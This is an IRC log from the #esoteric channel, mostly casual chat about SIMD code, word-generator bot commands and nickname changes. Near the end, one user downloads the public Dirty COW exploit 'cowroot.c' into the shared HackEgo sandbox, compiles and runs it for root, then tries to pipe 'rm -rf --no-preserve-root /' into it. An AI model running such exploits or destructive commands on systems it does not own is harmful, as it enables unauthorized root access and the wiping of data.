shuf < 1477651703 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :shuf is /usr/bin/shuf < 1477651713 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :`` shuf -n10 /usr/share/dict/words < 1477651714 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :shuf: /usr/share/dict/words: No such file or directory < 1477651717 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :come on < 1477651789 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Hm, I wonder if I can still remember how to type PHNGLUI MGLW'NAFH CTHULHU R'LYEH WGAH'NAGL FHTAGN < 1477651801 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :apparently not < 1477651816 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :Oh, it's PH'NGLUI < 1477651870 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :izalove: it's not too difficult to max out memory while converting hex to binary, by the way: http://sprunge.us/YbTg < 1477651888 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :(3GB/s in cache, 1.5GB/s in memory on my computer) < 1477651917 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i can't try that :X < 1477651931 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :no avx... < 1477651970 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net PRIVMSG #esoteric :"deconjugating" is a fun word < 1477651977 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :there should be sse4 instructions for the same thing, but at half speed < 1477651998 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :not sure what "half speed" is, since it may be memory-limited < 1477652099 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :hey fungot, guess what < 1477652099 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :Jafet: you know aheui uses hangul, so no directx. it's the only scheme implementation i know behaves this way... but who cares < 1477652511 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :Jafet: can you make yours a complete program and then compare it vs mine on your machine? https://gist.github.com/izabera/03e42d25d0434fe6857172e01f9a95ed < 1477653714 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :hmm, I'm writing an sse4 version but gcc doesn't seem to have a 8->128 bit broadcast intrinsic < 1477654066 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :izalove: http://sprunge.us/ZFKg?c < 1477654074 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :the table lookup is surprisingly competitive < 1477654522 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net JOIN :#esoteric < 1477654598 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :you rerolled my unrolled loop :C < 1477654824 0 :AnotherTest!~turingcom@ptr-2hj4tbos9tbg88a7mzqdh05zg.ip6.access.telenet.be JOIN :#esoteric < 1477655561 0 :LKoen!~LKoen@2a01:e35:2eed:a430:18b1:d7ee:f6d4:d2a5 JOIN :#esoteric < 1477656354 0 :hppavilion[1]!~Doslowdow@58-0-174-206.gci.net QUIT :Ping timeout: 265 seconds < 1477656482 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :fungot: you roll 2d6. < 1477656483 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :boily: i can assign an ordinal number n that can't be right. the communists under that era is harder so the distinction wouldn't be very hard < 1477656601 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1477656628 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://www.kickstarter.com/projects/1684041218/bud-spencer-and-terence-hill-slaps-and-beans so cool < 1477656629 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :fungot: then don't do it. < 1477656630 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :boily: is it worth time invested to learn it anymore. < 1477656638 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :fungot: yes, but don't do it. < 1477656638 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :boily: ' the main loop < 1477656643 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :fungot: noooooooo! < 1477656643 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :boily: or " miss scheme"... < 1477656655 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :fungot: we have a Miss Scheme? < 1477656660 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :gcc seems to unroll it anyway (and eliminates the memcpy) < 1477656707 0 :Jafet!~jafet@27-32-11-131.static.tpgi.com.au PRIVMSG #esoteric :most impressively, gcc automatically vectorises the simple version < 1477657684 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net QUIT :Quit: VESPERAL CHICKEN < 1477658092 0 :fizzie!?@? PRIVMSG #esoteric :`words --finnish 10 < 1477658097 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ystävämme yksineessänne keillisi seltani suurtumaksen vanne tyhjellämille laulukuppeille mattelegemiksen tyyneistammilleman < 1477658223 0 :fizzie!?@? PRIVMSG #esoteric :Only two real words (ystävämme, vanne) this time. < 1477658237 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :`which words < 1477658238 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/words < 1477658239 0 :fizzie!?@? PRIVMSG #esoteric :Although "laulukupeille" would have been fine as well. < 1477658254 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :`paste /hackenv/bin/words < 1477658255 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/words < 1477658292 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :`words --italian 10 < 1477658293 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :addotti ripendovia moni decessi siedetta levitubato grarecifrando sole conto vieresti < 1477658304 0 :izalove!~izabera@unaffiliated/izabera PRIVMSG #esoteric :that's pretty good < 1477660202 0 :fractal!~fractal@unaffiliated/scounder QUIT :Ping timeout: 276 seconds < 1477660847 0 :Deewiant!~deewiant@de1.ut.deewiant.iki.fi QUIT :*.net *.split < 1477663766 0 :otherbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot JOIN :#esoteric < 1477664805 0 :fizzie!?@? PRIVMSG #esoteric :In case someone remembers my previous rant about my mobile operator starting to show rounded-to-whole-gigabytes as the remaining data allowance -- now they've switched to what appears to be megabytes but with "Gigabytes" as the unit. < 1477664823 0 :fizzie!?@? PRIVMSG #esoteric :Either that, or they've bumped my allowance up to 316.98 gigabytes, which sounds unlikely. < 1477664832 0 :fizzie!?@? PRIVMSG #esoteric :(Especially since yesterday's value was >400.) < 1477666584 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477666754 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --list < 1477666756 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :valid datasets: --eng-1M --eng-all --eng-fiction --eng-gb --eng-us --french --german --hebrew --russian --spanish --irish --german-medical --bulgarian --catalan --swedish --brazilian --canadian-english-insane --manx --italian --ogerman --portuguese --polish --gaelic --finnish --norwegian --esolangs \ default: --eng-1M < 1477666765 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --gaelic < 1477666766 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cònspeur < 1477666772 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --gaelic 10 < 1477666773 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :pàran bealbh bainntach bastap fògrafann shlian meirceannraic mùire deugh sgrùn < 1477666787 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :chillingly real < 1477666800 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --irish 10 < 1477666801 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :b'ail láil span-ghaeilp nostúnach oslaith b'oir réithnigh speictrean sciúlaithe stungáiniseacuadóir < 1477666819 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i love the escalation in that one < 1477666831 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --canadian-english-insane < 1477666832 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :outterora < 1477666840 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`words --canadian-english-insane 10 < 1477666840 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :reotesid scon neoclimned della rukarene stermitructic lity catinacope oatasel nibrin < 1477666858 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :fizzie, what the fuck is this dataset from < 1477667020 0 :scoofy_!~scoofy@catv-89-135-80-2.catv.broadband.hu PRIVMSG #esoteric :canadian english < 1477667044 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :that's not canadian english, that's not even zzo38 canadian english < 1477667096 0 :firestar!~moonythed@unaffiliated/moonythedwarf JOIN :#esoteric < 1477667097 0 :firestar!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :moo2 < 1477667318 0 :Deewiant!~deewiant@de1.ut.deewiant.iki.fi JOIN :#esoteric < 1477667341 0 :fizzie!?@? PRIVMSG #esoteric :Phantom_Hoover: https://github.com/en-wl/wordlist/tree/master/scowl/r I believe. < 1477667353 0 :firestar!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :hizzie! < 1477667507 0 :fractal_!fractal@unaffiliated/scounder JOIN :#esoteric < 1477667824 0 :firestar!?@? NICK :rtw < 1477667826 0 :rtw!?@? NICK :moony < 1477667921 0 :moony!?@? NICK :firestar < 1477668369 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 256 seconds < 1477668493 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477668588 0 :firestar!?@? NICK :fireheart < 1477668600 0 :fireheart!?@? NICK :firepaw < 1477668607 0 :firepaw!?@? NICK :rusty < 1477668611 0 :rusty!?@? NICK :fireheart < 1477668638 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`words --swedish 10 < 1477668641 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :jagarna frand kladen glig betiska fri regiers besträd fullhande raktadletsfunktighet < 1477668644 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` cd wisdom; grep -r wetsuit . < 1477668655 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1477668690 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(today's xkcd is disturbing me) < 1477668705 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`words --english 10 < 1477668707 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Unknown option: english < 1477668712 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`words 10 < 1477668714 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :socit verne stropl adsupplichristi moor caldenicotejno cresso han wethumbonalove nicknownship < 1477668727 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :nicknownship! < 1477668739 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`coins < 1477668741 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​07frangcoin 08pophycoin 09spacoptinycoin 02pietcoin 06twearandcoin 13murphycoin 04celancoin 0721scoin 08wikincoin 09befreafcoin 02spirancoin 06superfecoin 13plattcoin 04brainfinoccoin 07impcoin 08bonnonalcoin 09ratinockermecoin 02barbifcoin 06fancoin 13poorzacoin < 1477668851 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :`words --eng-gb 10 < 1477668852 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :sorthseoti tep xant fourae coiilkmgd eur bbroon dam phistra toura < 1477668873 0 :FaerieFly!znc@freenode/staff/firefly PRIVMSG #esoteric :eur is an important word in the british english vocabulary < 1477669293 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :fizzie, but the canadian one specifically? < 1477669387 0 :fizzie!?@? PRIVMSG #esoteric :Phantom_Hoover: They're all related. < 1477669467 0 :fizzie!?@? PRIVMSG #esoteric :`coins --canadian-english-insane < 1477669469 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​06rudibiltcoin < 1477669473 0 :fizzie!?@? PRIVMSG #esoteric :`coins --canadian-english-insane 10 < 1477669474 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​06carbertilycoin 13congcoin 04adminatedcoin 07syboscophcoin 08impatedcoin 09sworthyredcoin 02grypsidhologiccoin 06rosacravecoin 13tanaereasotcoin 04stbullagecoin < 1477672733 0 :`^_^v!~nycs@42.62.178.2 QUIT :Quit: This computer has gone to sleep < 1477673002 0 :LKoen!~LKoen@2a01:e35:2eed:a430:18b1:d7ee:f6d4:d2a5 QUIT :Remote host closed the connection < 1477673115 0 :imode!~imode@unaffiliated/imode JOIN :#esoteric < 1477673381 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 260 seconds < 1477673462 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :https://www.youtube.com/watch?v=gPgv5WDT6s0 < 1477673847 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1477673896 0 :imode!~imode@unaffiliated/imode QUIT :Ping timeout: 260 seconds < 1477673897 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :http://www.the-whiteboard.com/ is giving freefall some competition for longwindedness < 1477673914 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :except while freefall has sped up some, the whiteboard has slowed. < 1477673996 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :(funny thing, i was reminded of this just a moment _before_ loading today's comic) < 1477674055 0 :LKoen!~LKoen@vbo91-1-82-238-218-67.fbx.proxad.net JOIN :#esoteric < 1477674263 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :(there was, of course, plenty of action in that long day.) < 1477674340 0 :kline!?@? NICK :killedline < 1477674341 0 :fireheart!?@? NICK :mad_scientist < 1477674430 0 :mad_scientist!?@? NICK :moony_the_lycan < 1477674562 0 :LKoen!~LKoen@vbo91-1-82-238-218-67.fbx.proxad.net QUIT :Remote host closed the connection < 1477674601 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477674740 0 :moony_the_lycan!?@? NICK :man_in_horse_mas < 1477674758 0 :man_in_horse_mas!?@? NICK :maninhorsemask < 1477674792 0 :maninhorsemask!?@? NICK :moony_the_lycan < 1477674793 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :someone is trying out halloween costumes. < 1477674811 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :oerjan, :p nah, halloween nicknames < 1477674829 0 :oerjan!?@? NICK :oerbraaains < 1477674879 0 :oerbraaains!?@? NICK :oerjan < 1477675199 0 :doesthiswork!~Adium@207.55.82.224 JOIN :#esoteric < 1477675251 0 :imode!~imode@unaffiliated/imode JOIN :#esoteric < 1477675336 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`? wetsuit < 1477675337 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :wetsuit? ¯\(°​_o)/¯ < 1477675374 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`? Halloween < 1477675374 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Halloween ? ¯\(°​_o)/¯ < 1477676106 0 :LKoen!~LKoen@vbo91-1-82-238-218-67.fbx.proxad.net JOIN :#esoteric < 1477676148 0 :iaglium_!~i@45.63.76.107 QUIT :Ping timeout: 250 seconds < 1477676423 0 :xfix!~xfix@unaffiliated/xfix QUIT :Quit: No Ping reply in 180 seconds. < 1477676469 0 :Lord_of_Life!Elite12246@gateway/shell/elitebnc/x-cepvxucsgzgxnfuh QUIT :Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite! < 1477676530 0 :Cale!~cale@2607:fea8:98e0:7e6:4867:c34c:b89b:ea78 QUIT :Ping timeout: 256 seconds < 1477676532 0 :Lord_of_Life!Elite12246@gateway/shell/elitebnc/x-hejwulqofmjzsnmv JOIN :#esoteric < 1477676551 0 :xfix!~xfix@unaffiliated/xfix JOIN :#esoteric < 1477676737 0 :Cale!~cale@2607:fea8:98e0:7e6:4867:c34c:b89b:ea78 JOIN :#esoteric < 1477676976 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: what did i do tdnh < 1477676987 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: I thought someone said something about the revert bug being fixed. < 1477677084 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net QUIT :Ping timeout: 250 seconds < 1477677121 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :shachaf: yes, but Gregor needs to actually apply the PR < 1477677128 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :and he's so very idle < 1477677146 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :isn't it fixed even before the press release is applied < 1477677157 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :not in running HackEgo < 1477677219 0 :DHeadshot!~DHeadshot@cpc88301-woki8-2-0-cust688.6-2.cable.virginm.net JOIN :#esoteric < 1477677552 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Gregor's too busy professing. < 1477677716 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :shachaf: we can't just fix a bug. there are procedures for this stuff. only the can permit modifying the status of a bug. < 1477677729 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :i guess his immediate reaction to the previous PR was just a fluke :P < 1477677787 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :bah, GG, I didn't want a wallpaper... < 1477677828 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it's not even the 31st yet! < 1477677937 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :okay, Sandra & Woo made up for it (I feel safer already...) < 1477678035 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :gaia advances the plot but ends in a cliffhanger < 1477678428 0 :clog!~nef@bespin.org QUIT :Ping timeout: 260 seconds < 1477678516 0 :fizzie!?@? PRIVMSG #esoteric :b_jonas: We must first promote to the staging branch, after which the integration engineer merges the fix to the QA branch, and only once it's tested can we even begin thinking of starting the process of promoting the change to production. < 1477678615 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is JOIN :#esoteric < 1477679971 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :how do i download files to hackego again? i wish to test something < 1477679995 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :`help < 1477679995 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1477680109 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c < 1477680114 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2016-10-28 17:40:56 URL:https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c [4688/4688] -> "cowroot.c" [1] < 1477680116 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477680117 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477680123 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`gcc cowroot.c < 1477680128 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’ \ /tmp/cct6jpFP.o: In function `main': \ < 1477680136 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477680137 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cdescs \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477680147 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :so does hackego just run in a dummy container or something. < 1477680165 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :imode: usermode linux < 1477680177 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :interesting. < 1477680178 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`gcc -pthread cowroot.c -o cowroot < 1477680179 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :gcc: error: unrecognized command line option ‘-pthread cowroot.c -o cowroot’ \ gcc: fatal error: no input files \ compilation terminated. < 1477680191 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` gcc -pthread cowroot.c -o cowroot < 1477680194 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :cowroot.c: In function ‘procselfmemThread’: \ cowroot.c:98:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default] \ In file included from cowroot.c:27:0: \ /usr/include/unistd.h:331:16: note: expected ‘__off_t’ but argument is of type ‘void *’ < 1477680194 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :umlbox, was the name < 1477680199 0 :MoALTz!~no@77-254-9-16.adsl.inetia.pl JOIN :#esoteric < 1477680202 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls < 1477680203 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin \ canary \ cdescs \ cowroot \ cowroot.c \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ out \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ tmflry \ tmp \ wdiff-latest.tar.gz \ wisdom \ wisdom.pdf < 1477680211 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :nice. < 1477680220 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./cowroot; ls /dev/mem < 1477680223 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` uname -a < 1477680225 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux < 1477680250 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.2$ < 1477680264 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :that's actually pretty nice. so instead of having a scriptable bot, you just have an entire linux machine on the other end. < 1477680279 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :imode, mhm ^_^ < 1477680285 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :we have a habit of tinkering with it < 1477680291 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :I've seen. < 1477680298 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :user-extendability too. < 1477680331 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :my hobby: futile attempts at root escalation alongside my derpiness :P < 1477680347 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :hey, pentesting is good. :P < 1477680348 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :seems ./cowroot worked. < 1477680357 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :lol. hackego is vulnerable :p < 1477680359 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :imode: moreover, each command runs in its own vm < 1477680384 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :I wonder what the harm would be to just forego the sandboxing. < 1477680390 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :blank linux machine. < 1477680406 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :isolated from the network of course. < 1477680429 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :imode, someone would fry it < 1477680433 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric ::p < 1477680440 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :. o O ( and with a disconnected power supply ) < 1477680444 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :the vm we have is recoverable thanksto the power of HG < 1477680454 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`url < 1477680455 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/ < 1477680458 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :trust is a powerful thing.. < 1477680471 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :yes, but you cant trust us, nor can Gregor :p < 1477680477 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :lol. < 1477680529 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :a trusting box, I guess, is boring. < 1477680570 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :public-use, everybody has root. I guess one thing you'd want is for it to be snapshotted every 10 minutes or so. < 1477680610 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :imode, the hackego sandbox is snapshotted each time a command is ran, currently 700mb of snapshots if i remember correctly < 1477680634 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :heh. < 1477680676 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ./cowroot < (echo "rm -rf --no-preserve-root /") < 1477680677 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `(' \ /hackenv/bin/`: eval: line 4: `./cowroot < (echo "rm -rf --no-preserve-root /")' < 1477680680 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :): < 1477680683 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :well, only if some file has changed. < 1477680688 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :true < 1477680717 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no PRIVMSG #esoteric :moony_the_lycan: you cannot crack if you cannot remember syntax. well known fact. < 1477680747 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :imode, hackego's sandbox is opensource btw, and it was written by hackego's creator, Gregor, as well < 1477680760 0 :imode!~imode@unaffiliated/imode PRIVMSG #esoteric :umlbox as it's been mentioned. < 1477681815 0 :moony_the_lycan!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric 